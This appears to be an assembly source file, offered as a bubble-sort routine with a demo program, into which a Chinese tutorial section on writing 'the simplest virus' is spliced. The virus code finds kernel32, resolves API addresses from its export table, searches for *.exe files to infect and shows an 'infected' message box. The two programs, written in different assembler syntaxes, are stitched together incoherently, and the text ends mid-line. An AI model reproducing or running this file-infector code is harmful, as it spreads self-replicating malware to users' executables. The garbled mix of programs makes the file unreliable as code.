;用汇编实现冒泡排序的函数
;参数说明:_lpData是待排序的数组首地址,_dwCount是待排序的个数,_dwOption设为0则由小到大排序
;如果是非0值,则是由大到小排序.
;返回值:已排序数据放回原数组中.

;调用冒泡排序函数的例子程序
;作者:ONEPROBLEM
;========================
  .386
  .model flat,stdcall
  option casemap:none

9、实现一个最简单的病毒 
———————– 
在这一节,我们来看一个最简单的病毒,一个search+infect+payload的direct action病毒 😛 
嗯…有什么好解释的呢?似乎过于简单了,我们还是直接看代码吧: 
format  PE GUI 4.0 
entry   _vStart 
include ‘useful.inc’ 

;作者:ONEPROBLEM
;=================================================
_BubblingSort proc _lpData,_dwCount,_dwOption
    local @dwCount
 
    pushad
    mov edi,1
    .while edi < _dwCount
        mov esi,_lpData
        mov eax,_dwCount
        mov @dwCount,eax
        sub @dwCount,edi
        mov ebx,1
            .while ebx <= @dwCount
                mov eax,[esi]
                .if eax<[esi+4] && _dwOption==0
                    jmp next
                .elseif eax>[esi+4] && _dwOption==0
                    jmp continue
                .elseif eax<[esi+4] && _dwOption!=0
                    jmp continue
                .elseif eax>[esi+4] && _dwOption!=0
                    jmp next
                .endif
                continue:
                mov eax,[esi]
                mov edx,[esi+4]
                mov [esi],edx
                mov [esi+4],eax 
                next:
                add esi,4
                inc ebx
            .endw
            inc edi
    .endw
    popad
    ret
_BubblingSort endp
;=================================================

include  windows.inc
include  user32.inc
includelib user32.lib
include  kernel32.inc
includelib kernel32.lib

virtual at esi 
    vMZ_esi     IMAGE_DOS_HEADER 
end virtual 
virtual at esi 
    vFH_esi     IMAGE_FILE_HEADER 
end virtual 
virtual at esi 
    vOH_esi     IMAGE_OPTIONAL_HEADER 
end virtual 

  .data
Array  dd 20,30,50,80,100,105
Buffer  dd 256 dup (?)
szCaption db ‘提示’,0
szText  db ‘结果是:%d,%d,%d,%d,%d,%d’,0

.coderwe 
_vStart: 
            call    delta 
delta:      pop     ebp 
            call    _get_krnl 
            or      edi,edi 
            jz      jmp_host 
            xchg    edi,edx 
            lea     esi,[ebp+api_namez-delta] 
            lea     edi,[ebp+api_addrz-delta] 
get_apiz:   call    _get_apiz 
            or      eax,eax 
            jz      apiz_end 
            stosd 
            jmp     get_apiz 
            wfd     WIN32_FIND_DATA 
apiz_end: 
            cmp     ebp,delta                   ; is this the origin virus? 
            jz      infect_filez 
            @pushsz ‘user32.dll’ 
            call    [ebp+__addr_LoadLibraryA-delta] 
            or      eax,eax 
            jz      jmp_host 
            xchg    eax,edx 
            @pushsz ‘MessageBoxA’ 
            pop     esi 
            call    _get_apiz 
            xor     esi,esi 
            @call   eax,esi,’This file has been infected… :P’,’win32.flu’,esi 
            call    infect_filez 
            jmp     jmp_host 
infect_filez: 
            lea     eax,[ebp+wfd-delta] 
            push    eax 
            @pushsz ‘*.exe’ 
            call    [ebp+__addr_FindFirstFileA-delta] 
            inc     eax 
            jz      jmp_host 
            dec     eax 
            mov     dword [ebp+hFindFile-delta],eax 
next_file:  lea     esi,[ebp+wfd.WFD_szFileName-delta] 
            call    _infect_file 
            lea     eax,[ebp+wfd-delta] 
            push    eax 
            push    12345678h 
    hFindFile = $-4 
            call    [ebp+__addr_FindNextFileA-delta] 
            or      eax,eax 
            jnz     next_file 
            push    dword [hFindFile] 
            call    [ebp+__addr_FindClose-delta] 
            ret 

  .code
_BubblingSort proc _lpData,_dwCount,_dwOption
 local @dwCount
 
 pushad
 mov edi,1
 .while edi < _dwCount
  mov esi,_lpData
  mov eax,_dwCount
  mov @dwCount,eax
  sub @dwCount,edi
  mov ebx,1
  .while ebx <= @dwCount
   mov eax,[esi]
   .if eax<[esi+4] && _dwOption==0
    jmp next
   .elseif eax>[esi+4] && _dwOption==0
    jmp continue
   .elseif eax<[esi+4] && _dwOption!=0
    jmp continue
   .elseif eax>[esi+4] && _dwOption!=0
    jmp next
   .endif
   continue:
   mov eax,[esi]
   mov edx,[esi+4]
   mov [esi],edx
   mov [esi+4],eax 
   next:
   add esi,4
   inc ebx
  .endw
  inc edi
 .endw
 popad
 ret
_BubblingSort endp
start:
 lea edx,Array
 invoke _BubblingSort,edx,6,-1  ;这第三个参数是非0,由大到小排序
 lea edx,Array
 mov eax,[edx]
 mov ecx,[edx+4]
 mov ebx,[edx+8]
 mov esi,[edx+12]
 mov edi,[edx+16]
 mov ebp,[edx+20]
 invoke wsprintf,addr Buffer,addr szText,eax,ecx,ebx,esi,edi,ebp
 invoke MessageBox,NULL,addr Buffer,addr szCaption,MB_OK
 invoke ExitProcess,NULL
 end start
;==============================================

; get kernel32.dll image base… 
_get_krnl: 
            @SEH_SetupFrame <jmp seh_handler> 
            mov     esi,[fs:0] 
visit_seh:  lodsd 
            inc     eax 
            jz      in_krnl 
            dec     eax 
            xchg    esi,eax 
            jmp     visit_seh 
in_krnl:    lodsd 
            xchg    eax,edi 
            and     edi,0ffff0000h          ; base address must be aligned by 1000h 
krnl_search: 
            cmp     word [edi],’MZ’         ; ‘MZ’ signature? 
            jnz     not_pe                  ; it’s not a PE, continue searching 
            lea     esi,[edi+3ch]           ; point to e_lfanew 
            lodsd                           ; get e_lfanew 
            test    eax,0fffff000h          ; DOS header+DOS stub mustn’t > 4k 
            jnz     not_pe                  ; it’s not a PE, continue searching 
            add     eax,edi                 ; point to IMAGE_NT_HEADER 
            cmp     word [eax],’PE’         ; ‘PE’ signature? 
            jnz     not_pe                  ; it’s not a PE, continue searching 
            jmp     krnl_found 
not_pe:     dec     edi 
            xor     di,di                   ; decrease 4k bytes 
            cmp     edi,70000000h           ; the base cannot below 70000000h 
            jnb     krnl_search 
seh_handler: 
            xor     edi,edi                 ; base not found 
krnl_found: 
            @SEH_RemoveFrame 
            ret 

; get apiz using in virus codez… 
_get_apiz: 
            pushad 
            xor     eax,eax 
            cmp     byte [esi],0 
            jz      ret_value 
            or      edx,edx                 ; module image base valid? 
            jz      return 
            mov     ebx,edx                 ; save module image base for 
                                            ; later use 
            push    esi                     ; save API name 
            xchg    esi,edi 
            xor     ecx,ecx 
            xor     al,al 
            dec     ecx 
            repnz   scasb 
            neg     ecx 
            dec     ecx 
            push    ecx                     ; save length of the API name 
            mov     dword [vPushad_ptr.Pushad_esi+08h],edi 
            lea     edi,[edx+3ch] 
            add     edx,dword [edi]         ; edx points to IMAGE_NT_HEADER 
            push    edx                     ; save IMAGE_NT_HEADER 
            mov     edi,dword [edx+78h]     ; edi has the RVA of export table 
            add     edi,ebx                 ; edi points to export table 
            push    edi                     ; save address of export table 
            lea     esi,[edi+18h] 
            lodsd                           ; eax get NumberOfNames 
            push    eax                     ; save NumberOfNames 
            mov     esi,[edi+20h] 
            add     esi,ebx                 ; now points to name RVA table 
            xor     edx,edx 
match_api_name: 
            lodsd 
            add     eax,ebx 
            xchg    eax,edi                 ; get a API name 
            xchg    esi,eax 
            mov     ecx,dword [esp+0ch]     ; length of API name 
            mov     esi,dword [esp+10h]     ; API name buffer 
            repz    cmpsb 
            jz      api_name_found 
            xchg    esi,eax 
            inc     edx 
            cmp     edx,dword [esp] 
            jz      api_not_found 
            jmp     match_api_name 
api_not_found: 
            xor     eax,eax 
            xor     edi,edi 
            jmp     return 
api_name_found: 
            shl     edx,1 
            mov     esi,[esp+04h]           ; export table address 
            mov     eax,[esi+24h] 
            add     eax,ebx                 ; ordinal table 
            movzx   edx,word [eax+edx] 
            shl     edx,2 
            mov     eax,[esi+1ch] 
            add     eax,ebx                 ; function address table 
            mov     eax,[eax+edx] 
            add     eax,ebx                 ; found!!! 
return:     add     esp,14h 
ret_value:  mov     [vPushad_ptr.Pushad_eax],eax 
            popad 
    &n